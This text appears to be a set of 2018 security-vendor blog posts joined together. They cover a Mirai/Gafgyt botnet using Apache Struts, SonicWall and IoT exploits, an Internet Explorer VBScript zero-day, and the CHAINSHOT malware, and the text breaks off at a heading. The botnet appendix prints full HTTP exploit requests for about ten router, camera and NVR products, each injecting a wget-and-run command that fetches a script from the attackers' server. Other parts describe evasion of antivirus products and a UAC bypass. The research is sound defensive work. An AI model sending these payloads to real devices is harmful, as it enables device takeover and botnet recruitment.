The exploit targeting Apache Struts in the new variant we found targets CVE-2017-5638, an arbitrary command execution vulnerability via crafted Content-Type, Content-Disposition, or Content-Length HTTP headers. Its format can be seen in Figure 1, with the payload highlighted.

Figure 1 CVE-2017-5638 exploit format

The other 15 exploits incorporated in this Mirai variant are detailed in Table 2 in the Appendix below.

While these samples are variants of Mirai, they don’t include the bruteforce functionality generally used by Mirai. They use l[.]ocalhost[.]host:47883 as C2, and the same encryption scheme as Mirai with the key 0xdeadf00d.

SonicWall GMS exploit in Gafgyt variant

The domain l[.]ocalhost[.]host used for C2 and to serve payloads in the Mirai variant discussed above, has also been found associated with other Mirai activity in the past as far back as November 2016.

For part of the month of August 2018, that same domain resolved to a different IP address 185[.]10[.]68[.]127. At that time we found that IP hosting samples of Gafgyt containing an exploit for a recently disclosed SonicWall vulnerability (CVE-2018-9866) affecting older, unsupported versions of SonicWall Global Management System (GMS) (8.1 and older) that is not present in currently supported versions.

The vulnerability CVE-2018-9866 targeted by the exploit stems from the lack of sanitization of XML-RPC requests to the set_time_config method. Figure 2 shows the exploit used in the sample, with the payload highlighted.

Figure 2 SonicWall set_time_config RCE format

These samples first surfaced on August 5, less than a week after the publication of a Metasploit module for this vulnerability. The SonicWall public advisory on the issue published on July 17, 2018, can be found here.

The samples we found are built using the Gafgyt codebase rather than Mirai. Some of the commands supported are described in the table below.

Command	Description
!* SCANNER <HUAWEI/GPON/DLINK/SONICWALL/OFF>	Based on arguments provided, the bot starts sending the associated exploit to devices. · HUAWEI: Send CVE-2017-17215 (See previous campaigns) · GPON: Same as above · DLINK: Send D-Link DSL 2750B OS Command Injection (see Table 2) · SONICWALL: Send exploit in Figure 2. · OFF: kills the running process associated with the bot
!* BIN_UPDATE <HTTP SERVER> <FILE LOCATION>	Fetches an update from <HTTP_SERVER>, saves it to <FILE_LOCATION>, installs update
!* BN <IP> <PORT> <TIME>	Launch a Blacknurse DDoS attack against <IP>:<PORT> for a duration of <TIME> seconds

Table 3 Some commands supported by variant with SonicWall exploit

Blacknurse is a low bandwidth DDoS attack involving ICMP Type 3 Code 3 packets causing high CPU loads first discovered in November 2016. The earliest samples we have seen supporting this DDoS method are from September 2017.

Conclusion

The incorporation of exploits targeting Apache Struts and SonicWall by these IoT/Linux botnets could be an indication of a larger movement from consumer device targets to enterprise targets.

Palo Alto Networks AutoFocus customers can track these activities using individual exploit tags:

AutoFocus customers can also use the following malware family tags:

WildFire detects all related samples with malicious verdicts.

Here is a list of other vulnerabilities targeted in the Mirai variant targeting Apache Struts:

Vulnerability

Affected Devices

Exploit Format

CVE-2017-5638,

Devices with unpatch Apache Struts

Linksys RCE

Linksys E-series devices

POST /tmBlock.cgi HTTP/1.1

Authorization: Basic YWRtaW46cG9ybmh1Yg==

Content-Type: application/x-www-form-urlencoded

Content-Length: 215



submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `wget%20http://l.ocalhost.host/lsys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&StartEPI=1

POST /tmBlock.cgi HTTP/1.1

Authorization: Basic YWRtaW46cG9ybmh1Yg==

Content-Type: application/x-www-form-urlencoded

Content-Length: 215

submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `wget%20http://l.ocalhost.host/lsys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&StartEPI=1

The samples contain other versions of the same exploit using GET and POST requests, aimed at

/tmBlock.cgi, /tmUnblock.cgi, /hndBlock.cgi and /hndUnblock.cgi

1	/tmBlock.cgi, /tmUnblock.cgi, /hndBlock.cgi and /hndUnblock.cgi

Vacron NVR RCE

Vacron NVR Devices

Similar to previous campaigns

This variant also contains a POST request version of the same exploit :

POST /board.cgi HTTP/1.1

Content-Length: 118

Content-Type: application/x-www-form-urlencoded



cmd=`wget%20http://l.ocalhost.host/vac.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`

POST /board.cgi HTTP/1.1

Content-Length: 118

Content-Type: application/x-www-form-urlencoded

cmd=`wget%20http://l.ocalhost.host/vac.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`

D-Link command.php RCE

Some D-Link devices

POST /command.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 127



cmd=`wget%20http://l.ocalhost.host/cmdphp.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`

POST /command.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Content-Length: 127

cmd=`wget%20http://l.ocalhost.host/cmdphp.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`

CCTV/DVR RCE

CCTVs, DVRs from over 70 vendors

Similar to previous campaigns

EnGenius RCE

EnGenius EnShare IoT Gigabit Cloud Service 1.4.11

POST /web/cgi-bin/usbinteract.cgi HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 133



action=7&path="|wget%20http://l.ocalhost.host/usb.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp||\

POST /web/cgi-bin/usbinteract.cgi HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 133

action=7&path="|wget%20http://l.ocalhost.host/usb.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp||\

AVTECH Unauthenticated Command Injection

AVTECH IP Camera/NVR/DVR Devices

GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(wget%20http://l.ocalhost.host/avtech.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp);&password=admin

Content-Type: application/x-www-form-urlencoded

GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=LW==&username=admin%20;XmlAp%20r%20Account.User1.Password>$(wget%20http://l.ocalhost.host/avtech.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp);&password=admin

Content-Type: application/x-www-form-urlencoded

CVE-2017-6884

Zyxel routers

GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20`wget%20http://l.ocalhost.host/luci.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&server_ip= HTTP/1.1

Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup

Accept-Language: en-US,en;q=0.8

Cookie: csd=9; sysauth=<Clipped>

Connection: close

GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20`wget%20http://l.ocalhost.host/luci.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&server_ip= HTTP/1.1

Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,*/*;q=0.8

Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup

Accept-Language: en-US,en;q=0.8

Cookie: csd=9; sysauth=<Clipped>

Connection: close

NetGain ‘ping’ Command Injection

NetGain Enterprise Manager 7.2.562

POST /u/jsp/tools/exec.jsp HTTP/1.1

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Cookie: JSESSIONID=542B58462355E4E3B99FAA42842E62FF

Connection: close

Pragma: no-cache

Cache-Control: no-cache

Content-Length: 206



command=cmd+%2Fc+ping&argument=127.0.0.1+%7C+`wget%20http://l.ocalhost.host/exec.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&async_output=ping1487856455258&isWindows=false

POST /u/jsp/tools/exec.jsp HTTP/1.1

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Cookie: JSESSIONID=542B58462355E4E3B99FAA42842E62FF

Connection: close

Pragma: no-cache

Cache-Control: no-cache

Content-Length: 206

command=cmd+%2Fc+ping&argument=127.0.0.1+%7C+`wget%20http://l.ocalhost.host/exec.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&async_output=ping1487856455258&isWindows=false

NUUO OS Command Injection

NUUO NVRmini 2 3.0.8

POST /handle_iscsi.php HTTP/1.1

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

Cookie: PHPSESSID=c9fdced9e8129eb4c14e3154cd0e0ce3; lang=en; loginName=admin

Connection: close

Content-Length: x



act=discover&address=1.3.3.7|`wget%20http://l.ocalhost.host/iscsi.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&port=1337

POST /handle_iscsi.php HTTP/1.1

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.8

Cookie: PHPSESSID=c9fdced9e8129eb4c14e3154cd0e0ce3; lang=en; loginName=admin

Connection: close

Content-Length: x

act=discover&address=1.3.3.7|`wget%20http://l.ocalhost.host/iscsi.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&port=1337

NUUOS OS Command Injection

NUUO NVRmini 2 3.0.8

POST /cgi-bin/cgi_system?cmd=saveconfig HTTP/1.1

Cache-Control: max-age=0

Content-Length: 187

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.8

Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en

Connection: close



bfolder=%2Fmtd%2Fblock3&bfile=|`wget%20http://l.ocalhost.host/cgisys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&inc_emap=no&inc_pos=no

POST /cgi-bin/cgi_system?cmd=saveconfig HTTP/1.1

Cache-Control: max-age=0

Content-Length: 187

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml777ml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.8

Cookie: PHPSESSID=3bc601000ea8f085c22cb37b9b102b7f; lang=en

Connection: close

bfolder=%2Fmtd%2Fblock3&bfile=|`wget%20http://l.ocalhost.host/cgisys.sh%20-O%20-%3E%20/tmp/nemp;sh%20/tmp/nemp`&inc_emap=no&inc_pos=no

Netgear setup.cgi unauthenticated RCE

DGN1000 Netgear routers

Similar to previous campaigns

HNAP SoapAction-Header Command Execution

D-Link devices

Similar to previous campaigns

This variant uses an effective version of the exploit as opposed to the faulty one used in the campaigns linked above i.e. it targets SOAPAction: http://purenetworks[.]com/HNAP1/GetDeviceSettings/

D-Link OS Command Injection

D-Link DSL-2750B

Similar to previous campaigns

JAWS Webserver authenticated shell command execution

MVPower DVRs, among others

Similar to previous campaigns

CVE-2018-10561, CVE-2018-10562

Dasan GPON routers

Similar to previous campaigns

This variant also includes a POST request version of the same exploit

Table 2 Other exploits used in the same sample

Indicators of Compromise

Samples with Apache Struts exploit CVE-2017-5638

d6648a36f55d6b8ffd034df7d04156d31411719ce9bc28e6d30c8427feacb397

710d56a90b5f61c7ae82fcf305d23d48476e4f237ffff9d68b961171f168f255

52274c46933c20aaf64fd4c11557143fcfdc76eef192743fafd1b3a8bed3f4d2

078eef70d754e9b64bc783f085846a2e8ae419653a79ed2386c4ade86fde68cb

ef090093496ccdab506848166a07554bfa74eb98a0546171b84fc73861f67c79

49cdb537f5e4081362545532a623f597212c8cea847cf9f2b2f1fe1f3cd0ec2f

99c22a0c0e252ab123fb3167f49d94dc12960b79565ca6dfd28f2ff5b0346348

ae2354a5d8b84fb6ea6fc4b9ca3060959d5c0c77684cd2100731df2a3c7a204e

1913cf8e65114136cc309e72c384b717f0aeaaeae0c040188648c4afebce1669

Samples with Sonicwall GMS exploit CVE-2018-9866

1814c010f5e7391c7ea38850f9caf0771866e315f8d0c58c563818e71d30c208

29540468514cd48b6c2571722018dffb49d12f99c95b248a44a1455fff01acfb

39891a1c13e4e6ec9de410201f697d23c05e83a29ec0010c6c62c6829386e6a6

596270e91ccee3ec04a552bafde586af127ecac7141852edb9707ac6c4779a99

68b27935c7d064478339f7d95b57ff06ffa1efbd81009b4a2870c5cf3e0b0b35

92a4c6ae034c3a03c21b74bdc00264192e60a85deedd90b99a3e350758eb85c1

aab0ec600cdf57f28f9480ff3a9d3547f699af005c015b74c5c9e39a992570b6

d8fbf6d68993045b4840729c788665ab10c50c42b27246a290031664f3b956eb

dafe1b513183902692c8ba8b2a95fede7c13937e49bf21294de448df05edff18

f89d742c4d3312ac9bd707a9135235482c554e369cb646dcd97f6a14b4210136

fab034d705b3ad7a10101858daf5da93a88f8bfd509dee9b8072678b27290ed3

Infrastructure

l[.]ocalhost[.]host

185[.]10[.]68[.]213

185[.]10[.]68[.]127

Traps Prevents In-The-Wild VBScript Zero-Day Exploit in Internet Explorer

Posted on September 7, 2018 by Tomer Harpaz

On August 15, Trend Micro published a blog post detailing a high-risk vulnerability in the VBScript Engine of Microsoft Internet Explorer being exploited in-the-wild (CVE-2018-8373). This vulnerability still affects endpoints running the latest versions of Internet Explorer and Windows which do not have the relevant patches applied.

The exploit was served on a malicious web host: hxxp://windows-updater[.]net/realmuto/wood.php?who=1?????? which was linked to the DarkHotel APT campaign by Qihoo 360, and this actor also exploited another VBScript vulnerability earlier this year (CVE-2018-8174). The preliminary payload was also analyzed thoroughly by Qihoo 360, and is dubbed zlib1.dll.

Figure 1. The attack flow as observed in the malicious sample

In Figure 1 we show the attack flow as observed in the malicious sample. First, the victim browses to the exploit URL in the malicious web host (1). The returned webpage contains malicious VBScript which exploits a UAF in vbscript.dll. This exploit implements a RW primitive, uses it to locate and leak the addresses of exported functions, creates a fake CONTEXT structure, and then uses NtContinue to jump to VirtualProtect on the shellcode and directly return to it afterwards (2). The exploitation phase is thoroughly analyzed in Trend Micro’s post.

The shellcode then proceeds to download an initial payload (DLL) from the same malicious web host (hxxp://windows-updater[.]net/realmuto/wood.php?var=xxx&name=dr.john&q=yyy&d=z) to a temporary file (3), decode it to another temporary file (4) and load it using LoadLibrary (5).

On x86 systems, this payload drops itself to %ALLUSERSPROFILE%\zlib1.dll (6), implements a UAC-bypass using mmc.exe (7) and then re-runs itself using rundll32.exe (8). On x64 systems, it runs its main logic directly from iexplore.exe.

The main logic of the initial payload sends the infected computer configuration and downloads a secondary payload from the same host: hxxp://windows-updater[.]net/dragon/config-donkey.php?inst=xxx&name=yyy (9), decodes it and reflectively loads it (10).

We were not able to retrieve samples of the secondary payload for further analysis.

How Traps Prevents this Threat

Palo Alto Networks Traps advanced endpoint protection offers multiple layers of malware and exploit prevention to protect against such complex threats.

Traps prevents a few different and independent techniques of the described exploit using its anti-exploit capabilities. In addition, Traps malware examination flow and local analysis via machine learning, and WildFire integration also prevents the malicious payload from executing at different phases of the attack. In Figure 1 we have marked with the Traps logo different points in the exploitation flow in which Traps would have prevented the attack flow from going forward.

Moreover, even older versions of Traps released years ago would have prevented this exploit from running without applying any special configuration or policy updates.

AutoFocus customers can track this actor via the DarkHotel tag.

Slicing and Dicing CVE-2018-5002 Payloads: New CHAINSHOT Malware

Posted on September 6, 2018 by Dominik Reichel

This story begins with one of our blog authors, who, following the discovery of a new Adobe Flash 0-day, found several documents using the same exploit that were used in targeted attacks. We were also able to collect network captures including the encrypted malware payload. Armed with these initial weaponized documents, we uncovered additional attacker network infrastructure, were able to crack the 512-bit RSA keys, and decrypt the exploit and malware payloads. We have dubbed the malware ‘CHAINSHOT’, because it is a targeted attack with several stages and every stage depends on the input of the previous one.

This blog describes the process we took to analyze the malware, how we managed to decrypt the payloads, and then how we found parts of a new attack framework. We also found additional network infrastructure which indicates similar attacks were conducted against a wide range of targets with disparate interests. This attack chain is designed in a way that makes it very difficult to execute a single part on its own, be it the exploit or payload. To make our analysis easier, we reproduced the server-side infrastructure, by doing so we were able to conduct dynamic analysis and get a better understanding how the exploit and payload work together.

This serves as a follow-up of Icebrg’s article which describes the initial findings.

Cracking a RSA Key

First, let’s recap how the overall attack chain works to understand at which point the RSA key is needed. The malicious Microsoft Excel document contains a tiny Shockwave Flash ActiveX object with the following properties:

Figure 1. Malicious Shockwave Flash ActiveX object properties

The “Movie” property contains a URL to a Flash application which is downloaded in cleartext and then executed. The “FlashVars” property contains a long string with 4 URLs which are passed to the downloaded Flash application. The Flash application is an obfuscated downloader which creates a random 512-bit RSA key pair in memory of the process. While the private key remains only in memory, the public keys’ modulus n is sent to the attacker’s server. On the server side, the modulus is used together with the hardcoded exponent e 0x10001 to encrypt the 128-bit AES key which was used previously to encrypt the exploit and shellcode payload. The encrypted exploit or payload is sent back to the downloader which uses the in-memory private key to decrypt the AES key and the exploit or payload.

As the modulus is sent to the server of the attacker, it’s also in our network capture. Together with the hardcoded exponent we have the public key which we can use to get the private key. Keep in mind that this was only possible because the attacker chose a key length of 512-bit which is known to be insecure. In order to do so, we have to factorize the modulus n into its two prime numbers p and q. Luckily this problem has already been solved previously, by an awesome public project ‘Factoring as a Service‘. The project uses Amazon EC2’s high computing power and can factorize large integers in just a matter of hours.

Following this logic, let’s take the following modulus of the public key sent to the attacker’s server to get the shellcode payload.

Figure 2. HTTP POST request for the encrypted shellcode payload with the modulus n in hexadecimal

After removing the first 2 bytes which are used in this case to retrieve the 32-bit version of the shellcode payload, we have the following modulus in hexadecimal:

0x7df305d5bcc659e5497e482bd0b507c44808deee8525f24b2712dc4a29f5c44e1e08c889a64521bbc67136ced11ace55b9bc2c1c7c96630aa515896b2f7341fd

1	0x7df305d5bcc659e5497e482bd0b507c44808deee8525f24b2712dc4a29f5c44e1e08c889a64521bbc67136ced11ace55b9bc2c1c7c96630aa515896b2f7341fd

After we have factorized the integer, we get the following two prime numbers in decimal:

58243340170108004196473690380684093596548916771782361843168584750033311384553

1	58243340170108004196473690380684093596548916771782361843168584750033311384553

113257592704268871468251608331599268987586668983037892662393533567233998824693

1	113257592704268871468251608331599268987586668983037892662393533567233998824693

With the help of p and q we can calculate the private key. We used a small public tool to create it in Privacy Enhanced Mail (PEM) format:

-----BEGIN RSA PRIVATE KEY-----

MIIBOgIBAAJAffMF1bzGWeVJfkgr0LUHxEgI3u6FJfJLJxLcSin1xE4eCMiJpkUh

u8ZxNs7RGs5VubwsHHyWYwqlFYlrL3NB/QIDAQABAkBog3SxE1AJItIkn2D0dHR4

dUofLBCDF5czWlxAkqcleG6im1BptrNWdJyC5102H/bMA9rhgQEDHx42hfyQiyTh

AiEA+mWGmrUOSLL3TXGrPCJcrTsR3m5XHzPrh9vPinSNpPUCIQCAxI/z9Jf10ufN

PLE2JeDnGRULDPn9oCAqwsU0DWxD6QIhAPdiyRseWI9w6a5E6IXP+TpZSu00nLTC

Sih+/kxvnOXlAiBZMc7VGVQ5f0H5tFS8QTisW39sDC0ONeCSPiADkliwIQIhAMDu

3Dkj2yt7zz04/H7KUV9WH+rdrhUmoGhA5UL2PzfP

-----END RSA PRIVATE KEY-----

With the help of the private key we could now decrypt the 128-bit AES key. We used OpenSSL to do this:

openssl rsautl -decrypt -in enc_aes.bin -out dec_aes.bin -inkey private_key.pem

1	openssl rsautl -decrypt -in enc_aes.bin -out dec_aes.bin -inkey private_key.pem

The encrypted AES key is extracted from the encrypted binary blob as described by Icebrg. It's at offset 0x4 and has the length of 0x40 bytes. Encrypted AES key:

0x5BC64C5DC7EC96750CCB466935ED2183FE90212CB1BF6305F0B79B4B9D9261A4AC8A3E06F3E07D4037A40F4E221BB12E05B4DE2682B31617F177712BD12B501A

1	0x5BC64C5DC7EC96750CCB466935ED2183FE90212CB1BF6305F0B79B4B9D9261A4AC8A3E06F3E07D4037A40F4E221BB12E05B4DE2682B31617F177712BD12B501A

Decrypted AES key:

0xE4DF3353FD6D213E7400EEDA8B164FC0

1	0xE4DF3353FD6D213E7400EEDA8B164FC0

Now that we have the decrypted AES key, we can decrypt the actual payload. The Flash downloader uses a custom initialization vector (IV) for the AES algorithm which can be found at offset 0x44 in the encrypted blob and is 16 bytes long:

0xCC6FC77B877584121AEBCBFD4C23B67C

1	0xCC6FC77B877584121AEBCBFD4C23B67C

For the final decryption we used OpenSSL again:

openssl enc -nosalt -aes-128-cbc -d -in payload.bin -out decrypted_payload -K E4DF3353FD6D213E7400EEDA8B164FC0 -iv CC6FC77B877584121AEBCBFD4C23B67C

1	openssl enc -nosalt -aes-128-cbc -d -in payload.bin -out decrypted_payload -K E4DF3353FD6D213E7400EEDA8B164FC0 -iv CC6FC77B877584121AEBCBFD4C23B67C

The decrypted shellcode payload is additionally compressed with zlib which can be seen by looking at the first 2 magic bytes 0x789C. We decompressed it with Offzip. Finally, we have the decrypted shellcode payload. The same procedure can be used to decrypt the Flash exploit which isn’t additionally zlib compressed.

Server-side Reproduction

After we had the decrypted Flash exploit and shellcode payloads, we started to do a static analysis which turned out to be a quite tedious task. This is due to the obfuscation in the exploit and the complexity of shellcode payload which contains its own two PE payloads. Next, we attempted to do a dynamic analysis which quickly turned out to be impossible, because every stage relies on data passed from the previous. The shellcode payload does not execute properly without the data passed to it from the exploit. The exploit does not execute on its own without the variables passed from the downloader and so on.

Due to the difficulties of analyzing the code statically, we decided to reproduce a simplified version of the server-side PHP scripts in order to make a full dynamic analysis possible. As we had the decrypted exploit, shellcode payload and the PCAP, we had all the information required to do so. Specifically, we created the following setup:

Local Apache server with XAMPP, with the domain used in the attack configured to resolve to localhost
A directory structure which mirrored that on the attackers’ servers (as specified in the PCAPs)
Setting of custom HTTP headers as per the PCAPs’ responses.

All of the requested files are sent back gzip encoded, otherwise the attack chain doesn’t work. We have uploaded the PHP scripts to our GitHub account, so you can also play with the different stages and see how it works.

Additional Details of the Flash Exploit

While the exploit has been already described, we want to give some additional details surrounding it that we found during our analysis. In particular, we were interested in the part which transfers execution to the shellcode payload. While most parts of the decompiled ActionScript exploit code are obfuscated, luckily some method names were left in cleartext.

Because the decrypted shellcode payload doesn’t run on its own when transformed into an executable, we have to figure out how execution works and if one or more parameters are passed. Therefore, the most interesting method for us is “executeShellcodeWithCfg32” which indicates we can find the passed data in it. It creates a small shellcode template and fills some placeholder values at runtime. The disassembled template looks as follows:

Figure 3. Shellcode template with placeholders (red) in the Flash exploit to pass execution to the shellcode payload

While the final prepared shellcode looks as follows:

Figure 4. Runtime version of the shellcode template with filled placeholders

Let’s take a look at what values are set to the placeholders (0x11111111, 0x22222222, …). The address 0xA543000 in Figure 4 is the entrypoint of the decrypted shellcode payload which has a small NOP sled in front of the actual code:

Figure 5. Entrypoint of the shellcode template in memory

The address 0x771A1239 in Figure 4 is in the middle of the function NtPrivilegedServiceAuditAlarm in ntdll.dll:

Figure 6. Windows API function NtPrivilegedServiceAuditAlarm

However, we can also see in Figure 4 that before calling the API function via “call edx”, the value 0x4D is moved into eax which is the ID of the API function NtProtectVirtualMemory. By doing so, the function NtProtectVirtualMemory is executed without calling it directly. This trick is likely used to bypass AVs/sandboxes/anti-exploit software which hook NtProtectVirtualMemory and the attacker probably chose NtPrivilegedServiceAuditAlarm as a trampoline as it’s unlikely to be ever be monitored.

The data at this address 0x9DD200C in Figure 4 looks like a structure into which the last NTSTATUS return value of NtProtectVirtualMemory is copied. The address of this structure seems to be passed to the shellcode payload in ebx, however we haven’t figured out what’s its purpose is. Finally, shellcode payload is executed via “call edi”

To sum up, the memory access rights of the shellcode payload are changed in 0x1000 byte blocks to RWE via NtProtectVirtualMemory. The last NTSTATUS code is saved into memory pointed to by ebx and the shellcode payload is executed.

Another interesting aspect of the exploit code is that it sends status messages when something goes wrong at every stage of the exploitation. These status messages are very similar to those send by the initial Flash downloader and are sent to the attacker’s server via fake PNG files (see Icebrg). They also contain the “/stab/” directory in the URL and the actual message is also sent encoded via custom digit combinations. However, the status message of the exploitation code contains additional information in the form of abbreviations of the appropriate stage. By looking at those messages, we can get a better understanding how the exploit works. The following messages are possible:

Status message code	Description
2-0-9-vp	Short for VirtualProtect
2-0-9-g3	Short for something like gadget3 (ROP gadget) cause a byte array is created 0x5A5941584159C3 which disassembles to: pop edx pop ecx inc ecx pop eax inc ecx pop ecx retn
2-0-9-RtlAllocateHeap	Self-explaining
2-0-9-DeleteDC	Self-explaining
2-0-9-GetDC	Self-explaining
2-0-9-sprintf	Self-explaining
2-0-9-VP	Short for VirtualProtect
2-0-9-RU	Short for RtlUnwind
2-0-9-NVP	Short for NtProtectVirtualMemory
2-0-9-NPSAA	Short for NtPrivilegedServiceAuditAlarm
2-0-9-G	Probably short for Gadget
2-0-9-SRP	Short for something like StackReturnProcedure because two-byte arrays 0x81C4D8000000C3 and 0x81C4D0000000C3 are created which disassemble to: add esp, 0D8h retn - and - add esp, 0D0h retn
2-0-9-PAX	Short for something like PopEAX as a byte array 0x58C3 is created before which disassembles to: pop eax retn

Table 1. Status messages used in the Flash exploit code

The Shellcode Payload

After the exploit successfully gains RWE permissions, execution is passed to the shellcode payload. The shellcode loads an embedded DLL internally named FirstStageDropper.dll, which we call CHAINSHOT, into memory and runs it by calling its export function “__xjwz97”. The DLL contains two resources, the first is x64 DLL internally named SecondStageDropper.dll and the second is a x64 kernelmode shellcode.

FirstStageDropper.dll is responsible for injecting SecondStageDropper.dll into another process to execute it. While the shellcode payload only contains code to search for and bypass EMET, FirstStageDropper.dll also contains code for Kaspersky and Bitdefender. In case of EMET, it searches the loaded modules for emet.dll and emet64.dll, for Kaspersky it searches for klsihk.dll, and for Bitdefender it searches for avcuf32.dll and avcuf64.dll. It also collects and sends encrypted user system and process information data together with a unique hardcoded ID to the attacker's server. The data is sent to URLs that contain “/home/” and “/log/” directories and for encryption it uses the Rijndael algorithm. As the attacker server did not respond at the time of our analysis, we guess a command is sent back to execute the SecondStageDropper.dll.

While the samples we obtained inject SecondStageDropper.dll in usermode via thread injection, the x64 shellcode seems to have an option to inject it from kernelmode. However, we haven’t figured out what the exact purpose of it is, since it’s never executed; it also searches for an additional resource which wasn’t present in the samples we analyzed.

The kernelmode shellcode contains parts of Blackbone, an open source library for Windows memory hacking. The following functions are taken from its code:

FindOrMapModule
BBQueueUserApc
BBCallRoutine
BBExecuteInNewThread

It also contains code from TitanHide, using identical code to lookup SSDT in Win7 and Win10 as described by the author.

SecondStageDropper.dll acts as a downloader for the final payload. It collects various information from the victim system, encrypts it, and sends it to the attacker’s server. It also scans for the following processes and skips execution if found:

Process name	Security Solution
adawareservice.exe adawareservicetray.exe	Adaware
mbam.exe	Malwarebytes
bdagent.exe bdwtxag.exe seccecenter.exe (contains a typo, should be seccenter.exe) vsserv.exe updatesrv.exe odscanui.exe odsw.exe	Bitdefender
efainst.exe elaminst.exe instca.exe mcui32.exe navw32.exe ncolow.exe nsbu.exe srtsp_ca.exe symdgnhc.exe symerr.exe tuih.exe wfpunins.exe wscstub.exe	Symantec / Norton
avp.exe	Kaspersky
HitmanPro.exe	Sophos / HitmanPro
abcde.exe	?

Table 2. Process name lookup list

Unfortunately, at the time of the analysis we were unable to obtain additional files, so we were unable to figure out what the final stage is. However, CHAINSHOT contacts the following domains via HTTPS to get the final payload:

contact.planturidea[.]net
dl.nmcyclingexperience[.]com
tools.conductorstech[.]com

In both samples we analyzed the final domains used were the same. We have obtained two x86 versions of the shellcode payload with its embedded PE files and the kernelmode shellcode. While the shellcode payload, FirstStageDropper.dll and kernel shellcode do not differ, the SecondStageDropper.dll contains a couple of different strings. The following strings are different, possibly indicating they are changed for every victim, with the final payload directory being an MD5 representation of the “project name” or something similar.

	Sample 1	Sample 2
User-agent	Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0	Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0
Queried final payload directories	/0cd173cf1caa2aa03a52b80d7521cc75e /1cd173cf1caa2aa03a52b80d7521cc75e	/0fa0a5fc0d2e28cc3786e5d6eb273f1fa /1fa0a5fc0d2e28cc3786e5d6eb273f1fa
Unique string used in network communication	148a028d-57c6-4094-b07d-720df09246dd	3784113f-b04e-4c1e-b3be-6b0a22464921

Table 3. String differences in SecondStageDropper.dll

The shellcode payload and PE files partly contain the same code indicating a framework was used to create them. For example, both the shellcode and CHAINSHOT itself make extensive use of the same exception handling with custom error codes. They also both use the same code to scan for and bypass EMET. Furthermore, other parts such as the OS version recognition are identical in all samples and the PE files’ compilation timestamps are zeroed out. Another interesting fact is that FirstStageDropper.dll also sends status messages back to the attacker starting with digit “9”. For example, the following network capture from our local tests show a successful network communication up to the point where the attacker presumably sends back the command to execute SecondStageDropper.dll:

Figure 7. Network capture of a successful attack reproduced locally in a VM

Additional Infrastructure

One of the domains reported by IceBrg had an associated SSL certificate which was documented in their write up. By searching for other IP addresses using the same certificate we were able to find a large number of associated domains that were likely also used in similar attack campaigns. Just like the domain contacted within the Excel documents analyzed, the additional domain names are created in a similar way using similar hosting providers and registrars and used names which are very similar to official websites to avoid suspicion. The list of domains can be found in the IOC section.

Conclusion

